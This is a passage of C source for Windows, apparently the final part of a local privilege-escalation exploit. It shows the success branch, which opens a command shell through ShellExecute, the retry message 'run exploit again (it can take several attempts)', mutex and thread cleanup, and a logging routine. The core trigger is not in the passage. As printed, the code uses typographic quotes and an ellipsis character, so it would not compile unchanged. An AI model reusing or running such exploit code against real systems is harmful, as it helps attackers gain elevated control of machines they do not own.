LogMessage(L_INFO, “Success, launching shell…”, Finished);
ShellExecute(NULL, “open”, “cmd”, NULL, NULL, SW_SHOW);
LogMessage(L_INFO, “Press any key to exit…”);
getchar();
ExitProcess(0);
}

// If we reach here, we didn’t trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);

// Try again…
LogMessage(L_ERROR, “No luck, run exploit again (it can take several attempts)”);
LogMessage(L_INFO, “Press any key to exit…”);
getchar();
ExitProcess(1);
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, …)
{
CHAR Buffer[1024] = {0};
va_list Args;

va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);

switch (Level) {
case L_DEBUG: fprintf(stdout, “[?] %s\n”, Buffer); break;
case L_INFO: fprintf(stdout, “[+] %s\n”, Buffer); break;
case L_WARN: fprintf(stderr, “[*] %s\n”, Buffer); break;
case L_ERROR: fprintf(stderr, “[!] %s\n”, Buffer); break;
}

fflush(stdout);
fflush(stderr);

return TRUE;
}